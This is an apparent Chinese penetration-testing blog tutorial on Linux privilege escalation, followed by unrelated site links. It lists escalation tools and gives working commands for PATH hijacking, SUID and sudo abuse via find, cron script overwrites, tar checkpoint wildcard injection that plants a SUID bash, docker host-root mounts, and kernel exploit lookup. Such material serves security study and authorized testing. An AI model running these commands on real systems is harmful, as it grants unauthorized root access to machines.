内网渗透之Linux权限提升大法

文章目录

  • 内网渗透|Linux权限提升大法
    • 0x01 前言
    • 0x02 工具介绍
      • 1.traitor
      • 2.LinEnum
      • 3.linux-exploit-suggester.sh
      • 4.Linux Exploit Suggester 2
      • 5.beroot
    • 0X02提权手法
      • 1.环境变量提权
      • 2.利用suid提权
      • 3.定时任务提权
        • 3.1定时任务文件覆盖提权
        • 3.2定时任务tar命令通配符注入提权
      • 4.sudo提权
      • 5.Docker提权
      • 6.内核溢出提权

内网渗透|Linux权限提升大法

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 工具介绍

1.traitor

地址:https://github.com/liamg/traitor

描述:

 1. 自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少2. 不带参数运行寻找可能存在的漏洞3. 带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

用法:
1.不带参数运行以查找可能允许权限升级的潜在漏洞/错误配置。-p如果当前用户密码已知,则添加该标志。如果需要分析sudo权限等,将要求输入密码。

traitor -p

2.使用-a/--any标志运行以查找潜在漏洞,尝试利用每个漏洞,如果获得 root shell,则停止。-p如果当前用户密码已知,请再次添加该标志。

traitor -a -p

3.使用-e/--exploit标志运行以尝试利用特定漏洞并获得 root shell

traitor -p -e docker:writable-socket

2.LinEnum

地址:https://github.com/rebootuser/LinEnum

描述:

可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式

用法:
在这里插入图片描述

3.linux-exploit-suggester.sh

地址:https://github.com/The-Z-Labs/linux-exploit-suggester

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.评估 Linux 机器对公开已知漏洞的暴露程度:

./linux-exploit-suggester.sh

2.显示 Linux 机器上的安全功能状态:

./linux-exploit-suggester.sh --checksec

3.根据提供的“uname”字符串(即uname -a命令的输出)评估 Linux 内核对已知漏洞的暴露程度:

./linux-exploit-suggester.sh --uname <uname-string>

4.Linux Exploit Suggester 2

地址:https://github.com/jondonas/linux-exploit-suggester-2

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.当不带参数运行时,该脚本会执行“uname -r”来获取 Linux 操作系统发行版本,并返回可能的漏洞利用列表。其中包含 CVE 和适用的漏洞利用 POC 的链接。请记住,修补/向后移植的补丁可能会欺骗该脚本。

./linux-exploit-suggester-2.pl

2.使用-k标志手动输入内核/操作系统发行版本的通配符。

./linux-exploit-suggester-2.pl -k 3

3.使用-d标志打开下载菜单,直接从漏洞利用数据库检索漏洞利用代码。您可以下载所有漏洞利用程序,也可以按编号单独选择它们。

./linux-exploit-suggester-2.pl -d

4.使用-h标志显示帮助菜单

5.beroot

地址:https://github.com/AlessandroZ/BeRoot

描述:

BeRoot是一个后开发工具,该项目适用于 Windows、Linux,以方便找到提高我们提权的方法。

0X02提权手法

1.环境变量提权

管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门。

提权流程:

1.ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序

2.找到用户自己编译的程序

3.去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等

4.我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的

5.Linux 在执行命令时会按照以下顺序搜索可执行文件:

 1. 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。2. 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。3. 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 cd、echo等。如果命令是内建命令,则会执行内建命令。4. 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH中指定的径顺序搜索可执行文件。PATH环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。

2.利用suid提权

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

手动查看有suid权限的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print  2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述上面的所有二进制文件都将以 root 权限执行,因为它们的权限中包含"s" 并且由 root 用户拥有。

可以用来提权的命令

Nmap
Vim
find
Bash
More
Less
Nano
cp

例如:find的利用

touch pentestlab
find pentestlab -exec whoami \;

3.定时任务提权

3.1定时任务文件覆盖提权

利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权。

需要具备的条件:

 1. 有root权限执行的定时任务2. 有权限修改root权限执行的定时任务

通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的。

例如:

添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行

vim /etc/crontab

这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:os.system('rm -r /root/add/*')
except:sys.exit()

添加后保存即可,此时定时任务已经添加成功,切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务。

在这里插入图片描述在普通用户下也可以编译定时任务执行的文件。
在这里插入图片描述可以把命令替换成 chmod u+s /bin/bash 赋予bash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shell,需要加上-p参数才能提权,bash -p

我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限

 find `which find` -exec whoami \;
3.2定时任务tar命令通配符注入提权

定时任务Tar命令通配符注入提权(Cron Tar Command Wildcard Injection Privilege Escalation)是指通过在定时任务中使用Tar命令和通配符时,利用不当地输入验证或不正确的权限配置,使攻击者能够执行恶意代码并以更高的权限运行。

例如:
1.添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下

vim /etc/crontab
*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

2.接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件。

创建一个–checkpoint-action=exec=sh test.sh名字的空文件,创建–checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可:

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"  ##执行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
chmod +x test.sh  ##赋予执行权限

这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情。

tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

也就是在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果。

PS:–checkpoint、–checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。–checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。)

3.此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件。

4.使用 /tmp/bash -p 即可提权

PS:还有另一种情况

刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。

vim /etc/crontab
*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

执行完后,只需要等待定时任务触发即可执行我们的test.sh。

4.sudo提权

在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行。
在这里插入图片描述这三条的意思分别是:


root ALL=(ALL:ALL) ALL :
允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。%admin ALL=(ALL) ALL :
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。%sudo ALL=(ALL:ALL) ALL :
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这
里也使用了%sudo表示组权限。

在实际情况中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find

这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件:

 1. 知道当前用户的密码2. 有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令

如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的。

例如:find提权

sudo find /home -exec whoami \;  ##可以看到获得的是root用户
sudo find /home -exec bash \;    ##或者直接调用bash来获取shell

在这里插入图片描述

5.Docker提权

docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。

区别于docker逃逸,相当于是利用docker进行提权。如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权。

条件:

当前用户在docker用户组,可以使用docke。

1.查看是否在docker组下:

cat /etc/group | grep olw

在这里插入图片描述
2.利用docker,将mnt目录挂载到宿主的根目录,提权成功

docker run -v /:/mnt -it alpine

6.内核溢出提权

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

例如:

第一步:查看目标系统的相关信息

uname -a           #查看内核/操作系统/cpu信息
cat /proc/version  #查看系统信息
cat /etc/issue     #查看操作系统版本
lsb_release -a     #查询系统版本等信息

第二步:使用searchsploit工具寻找对应的exp

searchsploit -t 3.19

在这里插入图片描述

searchsploit -x linux/local/37292.c

在这里插入图片描述

第三步:让目标机器远程下载exp文件
在这里插入图片描述
第四步:将exp文件进行编译
在这里插入图片描述
第五步:执行exp文件,提权成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/214438.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK WiFi部分信道在部分地区无法使用的原因

不同国家支持的WiFi信道不一样&#xff0c;需要正确设置wificountrycode 修改路径&#xff1a; device\rockchip\common\BoardConfig.mk 修改内容&#xff1a;androidboot.wificountrycodeXX 该属性会被解析为 ro.boot.wificountrycode framework层会在&#xff1a; framewor…

朋友在阿里测试岗当HR,给我整理的面试总结

以下是软件测试相关的面试题及答案&#xff0c;欢迎大家参考! 1、你的测试职业发展是什么? 测试经验越多&#xff0c;测试能力越高。所以我的职业发展是需要时间积累的&#xff0c;一步步向着高级测试工程师奔去。而且我也有初步的职业规划&#xff0c;前3年积累测试经验&…

【SpringCloud】从单体架构到微服务架构

今天来看看架构的演变过程 一、单体架构 从图中可以看到&#xff0c;所有服务耦合在一起&#xff0c;数据库存在单点&#xff0c;一旦其中一个服务出现问题时&#xff0c;整个工程都需要重新发布&#xff0c;从而导致整个业务不能提供响应 这种架构对于小项目而言是没有什么…

【周报2023-11-24】

周报2023-11-24 本周主要工作下周工作计划 本周主要工作 本周的话一个主要工作有&#xff1a; 前后端进行联调接口&#xff1a; 那么目前为止的话&#xff0c;已经调通的接口 可以使用的是个人中心 历史生成的接口 选择新模板 新模板详情 ps: 下周工作计划 主要的话就是将…

Linux(CentOS7)上安装mysql

在CentOS中默认安装有MariaDB&#xff08;MySQL的一个分支&#xff09;&#xff0c;可先移除/卸载MariaDB。 yum remove mariadb // 查看是否存在mariadb rpm -qa|grep -i mariadb // 卸载 mariadb rpm -e --nodeps rpm -qa|grep mariadb yum安装 下载rpm // 5.6版本 wge…

软件测试基础知识 —— 白盒测试

白盒测试 白盒测试&#xff08;White Box Testing&#xff09;又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。白盒测试只测试软件产品的内部结构和处理过程&#xff0c;而不测试软件产品的功能&#xff0c;用于纠正软件系统在描述、表示和规格上的错误&#xff0c;…

JavaFx 设置窗口边框圆角

UI界面要求窗口边框有一定弧度&#xff0c;因为之前没有做过&#xff0c;网上看了很多文章&#xff0c;都用到了css语句 "-fx-background-radius: ; 我在xml布局文件根节点使用无效&#xff0c;在Scene组件设置无效&#xff0c;gpt等ai问了一圈代码也是无效&#xff0c;…

牛客 算法题 记负均正II golang实现

题目 HJ105 记负均正II golang 实现 package mainimport ("bufio""fmt""io""os""strconv""strings" )func main() {scanner : bufio.NewScanner(os.Stdin)nums:make([]int,0)sum:0minus:0for scanner.Scan() {l…

vue3中引入svg矢量图

vue3中引入svg矢量图 1、前言2、安装SVG依赖插件3、在vite.config.ts 中配置插件4、main.ts入口文件导入5、使用svg5.1 在src/assets/icons文件夹下引入svg矢量图5.2 在src/components目录下创建一个SvgIcon组件5.3 封装成全局组件&#xff0c;在src文件夹下创建plugin/index.t…

java springboot测试类虚拟MVC环境 匹配返回值与预期内容是否相同 (JSON数据格式) 版

上文java springboot测试类鉴定虚拟MVC请求 返回内容与预期值是否相同我们讲了测试类中 虚拟MVC发送请求 匹配返回内容是否与预期值相同 但是 让我意外的是 既然没人骂我 因为我们实际开发 返回的基本都是json数据 字符串的接口场景是少数的 我们在java文件目录下创建一个 dom…

基于51单片机倾角MPU6050老人跌倒远程GSM短信报警器+源程序

一、系统方案 1、本设计采用这51单片机作为主控器。 2、MPU6050角度值送到液晶1602显示。 3、红外传感器检测心率。 4、跌倒远程GSM报警。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 void LCD_Init() //初始化液晶时间显示 { write_com…

【译】Spring 6 入参数据校验: 综合指南

原文地址&#xff1a;Spring 6 Programmatic Validator: A Comprehensive Guide 一、前言 在 Spring 6.1 中&#xff0c;有一个非常值得注意的重要改进——编程式验证器实现。Spring 长期以来一直通过注解支持声明式验证&#xff0c;而 Spring 6.1 则通过提供专用的编程式验证…